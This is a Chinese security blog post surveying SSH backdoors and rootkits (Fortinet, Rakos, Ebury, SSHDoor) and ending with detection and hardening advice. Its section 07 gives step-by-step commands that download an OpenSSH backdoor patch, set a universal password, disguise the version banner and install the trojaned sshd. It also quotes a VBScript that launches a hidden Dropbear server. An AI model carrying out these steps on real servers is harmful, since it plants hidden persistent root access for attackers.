前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透基础-SSH后门分析总结

渗透基础-SSH后门分析总结

作者头像
xfkxfk
发布2018-03-29 15:17:59
3.1K0
发布2018-03-29 15:17:59
举报

对于UNIX系统来说,ssh服务端作为最广泛应用的远程管理服务并且有一定对外开放的必然性,必然引起黑客关注,所以ssh类的后门也是unix下最经典的后门方式之一了。作为渗透基础知识,逢魔安全团队在本文中对此类后门进行了详细的分析总结,希望能帮助到一些初学者。

01

简介

简单的说,SSH 为建立在应用层基础上的安全协议。通过该协议可以远程操作服务器。目前,所谓openssh,Dropbear SSH等,都是ssh协议的工具体现

所谓后门是在渗透完成之后的阶段,攻击者获取到一台服务器的root权限后,需要通过后门长期能够控制这台服务器,同时后门又需要躲避管理员的检测。

那么,rookit的概念实际上就是要通过一系列手段隐藏恶意程序,达到长期控制的目的。可想而知,他的根本宗旨是隐藏:通信隐蔽、自启动项隐藏、文件隐藏、进程/模块隐藏、注册表隐藏、服务隐藏、端口隐藏等。

02

Fortinet FortiOS后门

Poc见:http://seclists.org/fulldisclosure/2016/Jan/26

该后门属于硬编码类型的,事实上很多产品都爆出过这一类型的漏洞

爆发时间:2016年9月

如上图poc中,可以知道想目标机器发送内置账号Fortimanager_Access,发挥的信息经过custom_handler函数的处理,就能访问了。

思考:实际上,硬编码漏洞广泛的存在于各种设备中,路由器,网关,防火墙等均爆出过

例如:

  • D-Link DWR-932B LTE路由器,存在admin:admin和root:1234
  • CVE-2015-7755: Juniper ScreenOS认证后门
  • 梭子鱼多款产品存在后门

这一类型的后门都是通过硬编码的方式存在,是开发和管理人员用来管理的内置账号,但是没有做好相应的权限控制,使得普通用户甚至恶意用户也能访问到这些账号。

03

Rakos Malware

参考地址:https://github.com/eset/malware-ioc/tree/master/rakos

Rakos Malware主要在嵌入式设备中流传,可以通过暴力破解ssh服务组建僵尸网络。

主要时间:约2016年8月份

攻击行为:

  • 加载yaml配置文件,该文件包含了c&c服务器列表以及账号密码字典
  • 本地打开一个http端口61314,主要通过该端口进行控制
  • 将受害者信息(账号密码等)通过http发送给C&C端,同时可以用于自我更新
  • 通过C&C服务端发送指令,破解其他机器ssh账号,在进一步将破解的机器感染成僵尸机器

思考

在本次案例根本是在于大范围暴力破解ssh服务,加上管理员往往对物联网设备疏于管理。

实际中,暴力破解的安全事件很容易发生,市面上有非常多类似功能的恶意软件,对于一个高度安全的网络环境,入口点有时候往往就是一个弱密码。

04

SSHBearDoor

sshBearDoor主要被当做后门用,能够擦出硬盘数据,主要针对乌克兰新闻媒体公司和电力行业。

爆发时间:2007年就存在,2014年卷土重来

SSh后门:

该恶意软件绑定了一个Dropbear SSH的后门,后门程序如下:

Set WshShell = CreateObject(“WScript.Shell”)WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\”WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false

后门详细的工作原理如下图:

后门行为:这里的后门实际上完全是正常的程序功能,只不过人们使用了该ssh功能写了一个远程连接的工具而已。

思考:这一类的后门原理上都是通过提供的第三方库再实现一个简易的ssh客户端和服务端,然后将服务端安装在受害者机器上,实现连接、

与之类似的有如下工具:

https://github.com/joridos/custom-ssh-backdoor,该工具是通过python的paramiko库自己实现了个ssh功能的软件,然后安装在服务端上

比较缺乏的是,github上大部分的后门软件都只是实现了ssh的功能,并没有隐藏功能

05

Ebury木马

该木马主要是通过补丁程序修改OpenSSH的公共库libkeyutils.so,从而使得他能够轻易获取到管理员账号密码

爆发时间:2013年

木马行为

  • 将受感染机器的用户登陆信息记录下来并发送给远程机器,记录下未加密的私钥
  • 不在日志文件里留下痕迹
  • 修改文件包管理器中的原始签名
  • 网口混杂模式时

该木马功能上比较完整,有各种手段对后门进行隐藏,有机会我们单独拿一片文章出来讲。

06

SSHDoor

该后门主要是通过硬编码的方式登陆,可以窃取用户名密码

时间:2013年

后门行为

  • 隐藏行为的字符串都是用XOR编码
  • 通过http协议传递盗取到的信息,并向远程机器发送信息
  • 设置了一个通用密码
  • 替换了原系统的私钥,使得自己可以直接访问远程机器

07

OpenSSH Patch BackDoor

我们来看一个最原始的OpenSSH后门,该后门是通过补丁的方式修改openssh,并且重新编译替换了sshd,与Ebury后门相似的是都可以记录用户的账号名密码,只不过该后门功能上远远不如Ebury,也没有相应的隐藏功能。

[root@localhost ~]#cat /etc/issueCentOS release 6.8(Final)Kernel \r on an \m #1. SSH后门目前网上支持版本为5.9以下,本次用的是centos6.8自带的openssh5.3版本的[root@localhost ~]#ssh -VOpenSSH_5.3p1,OpenSSL 1.0.1e-fips 11 Feb 2013 # 2. 下载两个文件[root@localhost ~]#wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz[root@localhost ~]#wgethttp://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz [root@localhost ~]#ls0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz #3. 备份下配置文件[root@localhost ~]#mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old [root@localhost ~]#mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old [root@localhost ~]#tar -zxvf openssh-5.9p1.tar.gz[root@localhost ~]#tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.patch/openssh-5.9p1.patch/LICENSEopenssh-5.9p1.patch/INSTALLopenssh-5.9p1.patch/READMEopenssh-5.9p1.patch/sshbd5.9p1.diffopenssh-5.9p1.patch/ssh_integrity_checker.sh #4. 补丁#5. 设置后门登陆密码在includes.h文件中可以找到设置通用密码的地方:Version.h文件设置版本banners,该banners改成和原来系统一致[root@localhostopenssh-5.9p1]# yum install zlib-devel opensslopenssl-devel zlib zlib-devel#7. 编译并安装[root@localhost openssh-5.9p1]# yum install zlib-devel[root@localhost openssh-5.9p1]# yum installopenssl openssl-devel[root@localhost openssh-5.9p1]# yum installgcc[root@localhost openssh-5.9p1]# ./configure--prefix=/usr --sysconfdir=/etc/ssh[root@localhost openssh-5.9p1]# make&& make install#8. 验证执行:strings/usr/sbin/sshd可以查看到,我们需要的后门已经写入到ssh中使用通用密码123123登陆成功

08

防御方法

在识别rootkit方面,目前有几款工具可以直接实现,例如:chkrootkit、Rootkit Hunter、Lynis、ISPProtect等,都是可以对系统进行自动检测。

攻击是点,防御是面的防御,等到被入侵后在加固,就弱了,我们可以简单的认为后门程序就是一个访问权限的隐藏,站在攻击者的角度就是要伪装成正常的用户,行为。防御者要做的就是识别出这些伪装:

端口监控:这里包括内网监控和外网监控:外网端口通过白名单控制,严禁私自开启外网端口;内网端口变化性比较大的,那么是否可能这些变化是有规律有模型的呢?这需要进一步研究

文件监控:建立起文件监控体系,周期性检测文件的完整性,监控文件的权限变化。匹配软件MD5值以免软件被替换

配置安全:做好基线检测,服务器被入侵后,往往会修改用户配置,而通常hids并不会去检测文件的内容。基线配置的建立就显得尤为重要

流量检测:这一点常见的hids都能实现,snort什么的,关键是各种防御体系的联动以及分析,提取出安全事件,进而提升到威胁情报

参考:

http://seclists.org/fulldisclosure/2016/Jan/26

https://github.com/eset/malware-ioc/tree/master/rakos

http://seclists.org/snort/2014/q1/498

https://evi1cg.me/archives/Pentest_SSH.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-02-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 逢魔安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
高级威胁追溯系统
腾讯高级威胁追溯系统(Advanced Threat Tracking System,ATTS)由腾讯安全团队构建的高级威胁追溯平台,旨在帮助用户通过该平台进行线索研判,攻击定性和关联分析,追溯威胁源头,有效预测威胁的发生并及时预警。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档